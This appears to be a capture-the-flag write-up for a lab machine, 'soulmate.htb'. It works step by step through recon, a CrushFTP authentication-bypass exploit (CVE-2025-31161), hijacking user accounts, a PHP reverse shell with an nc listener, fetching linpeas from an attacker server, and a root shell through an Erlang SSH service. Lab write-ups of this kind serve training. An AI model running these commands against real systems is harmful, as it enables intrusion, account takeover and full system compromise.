Starting with an nmap:

```
Nmap scan report for 10.129.231.23 Host is up (0.0081s latency). Not shown: 65520 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA) |_ 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519) 80/tcp open http nginx 1.18.0 (Ubuntu) |_http-title: Did not follow redirect to http://soulmate.htb/ |_http-server-header: nginx/1.18.0 (Ubuntu)
```

We can now add `soulmate.htb` into `/etc/hosts` using this command:

```
echo "10.129.231.23 soulmate.htb" | sudo tee -a /etc/hosts
```

Web application

This is what we get:



As we can see we got `/register.php` and `/login.php`, which can be used as attack vectors.

Tried to find some subdomains by fuzzing `http://10.129.231.23`

```
ffuf -u http://10.129.231.23 -H "Host: FUZZ.soulmate.htb" \ -w
/usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -fw 4
```

and got:

```
ftp [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 60ms]
```

This means that ffuf replaced the header with an `ftp.soulmate.htb` domain and got a status 302. Proceed to add `ftp.soulmate.htb` to `/etc/hosts` just as we did with `soulmate.htb`.

CrushFTP



We now have a CrushFTP web interface. CrushFTP is a file transfer server which supports FTP, SFTP, HTTP etc. It functions as a managed file transfer server.

A quick look at the HTML shows:

```
if ("serviceWorker" in navigator) { navigator.serviceWorker
.register("/WebInterface/new-ui/sw.js?v=11.W.657-2025_03_08_07_52") .then((e) => {
console.log(e); }) .catch((error) => { console.log(error); }); }
```

We now know that we have CrushFTP `11.W.657`.

CVE-2025-31161

Looked up CrushFTP `11.W.657` and found CVE-2025-31161. Official NIST description:

> CrushFTP 10 before 10.8.4 and 11 before 11.3.1 allows authentication bypass and takeover of the crushadmin account (unless a DMZ proxy instance is used), as exploited in the wild in March and April 2025, aka "Unauthenticated HTTP(S) port access." A race condition exists in the AWS4-HMAC (compatible with S3) authorization method of the HTTP component of

> the FTP server. The server first verifies the existence of the user by performing a call to login_user_pass() with no password requirement. This will authenticate the session through the HMAC verification process and up until the server checks for user verification once more. The vulnerability can be further stabilized, eliminating the need for successfully triggering a race condition, by sending a mangled AWS4-HMAC header. By providing only the username and a following slash (/), the server will successfully find a username, which triggers the successful anypass authentication process, but the server will fail to find the expected SignedHeaders entry, resulting in an index-out-of-bounds error that stops the code from reaching the session cleanup. Together, these issues make it trivial to authenticate as any known or guessable user (e.g., crushadmin), and can lead to a full compromise of the system by obtaining an administrative account.

We can gain access using a PoC. Example repo found:

`https://github.com/Immersive-Labs-Sec/CVE-2025-31161.git`

Clone and run:

```
git clone https://github.com/Immersive-Labs-Sec/CVE-2025-31161.git python cve-2025-31161.py --target_host ftp.soulmate.htb --port 80 --target_user root --new_user test --password test0 [+] Preparing Payloads [-] Warming up the target [+] Sending Account Create Request [!] User created successfully [+] Exploit Complete you can now login with [*] Username: test [*] Password: test0.
```

We can now log in as `test0`.

CrushFTP interface



Click the "Admin" icon.



After exploring the WebAdmin dashboard it is clear it controls users, security rules and CrushFTP settings. Under "User manager" we see:

- ben
- crushadmin
- default
- jenna
- TempAccount
- test

Users account abuse



Picked `jenna` as example. Generated random password `e8UwpV`. Logged in as:

- Username: `jenna`
- Password: `e8UwpV`



Logged out from `jenna`. Changed `ben` password to `ry3Qmd`.



`ben` has more data.

Reverse shell

Found `php-reverse-shell` and uploaded a PHP reverse shell.

```
git clone https://github.com/pentestmonkey/php-reverse-shell.git cd php-reverse-shell/ # edit php-reverse-shell.php to set attacker IP and port nc -nlvp 4444 curl http://soulmate.htb/php-reverse-shell.php
```

Result on callback:

```
$ id uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

This is not enough to get the user flag.

```
$ cd /home/ben /bin/sh: 10: cd: can't cd to /home/ben
```



LinPeas

Run LinPeas from attacker machine:

```
wget https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh
python3 -m http.server 8080
```

On target:

```
cd /tmp wget http://10.10.14.136:8080/linpeas.sh chmod +x linpeas.sh ./linpeas.sh
```

LinPeas pointed to:

```
/usr/local/lib/erlang_login/start.escript
```

Extracted credential:

```
cat /usr/local/lib/erlang_login/start.escript | grep ben {user_passwords, [{"ben",
"HouseH0ldings998"}]}
```

Now we have `ben`'s password.

SSH Access

`ssh ben@10.129.105.163 ben@10.129.105.163's password: HouseH0ldings998`
`ben@soulmate:~$ id uid=1000(ben) gid=1000(ben) groups=1000(ben)`

User flag acquired. Next step: privilege escalation.

Privilege escalation

`sudo -l` on `ben` returns nothing. LinPeas found an `ssh_runner` service running on port `2222`. It is written in Erlang.

From `ben` run:

`ssh ben@localhost -p 2222 ben@localhost's password: HouseH0ldings998`

Erlang `ssh_runner` shell:

`(ssh_runner@soulmate)1> os:cmd("id"). "uid=0(root) gid=0(root) groups=0(root)\n"`

Root flag:

`(ssh_runner@soulmate)7> os:cmd("cat /root/root.txt").`
`"d923910363d23ffbd852b21716439b84\n"`

Conclusion

I rate this machine medium difficulty. Initial access was straightforward. Privilege escalation required identifying the `ssh_runner` path. Total time: ~10 hours. bye.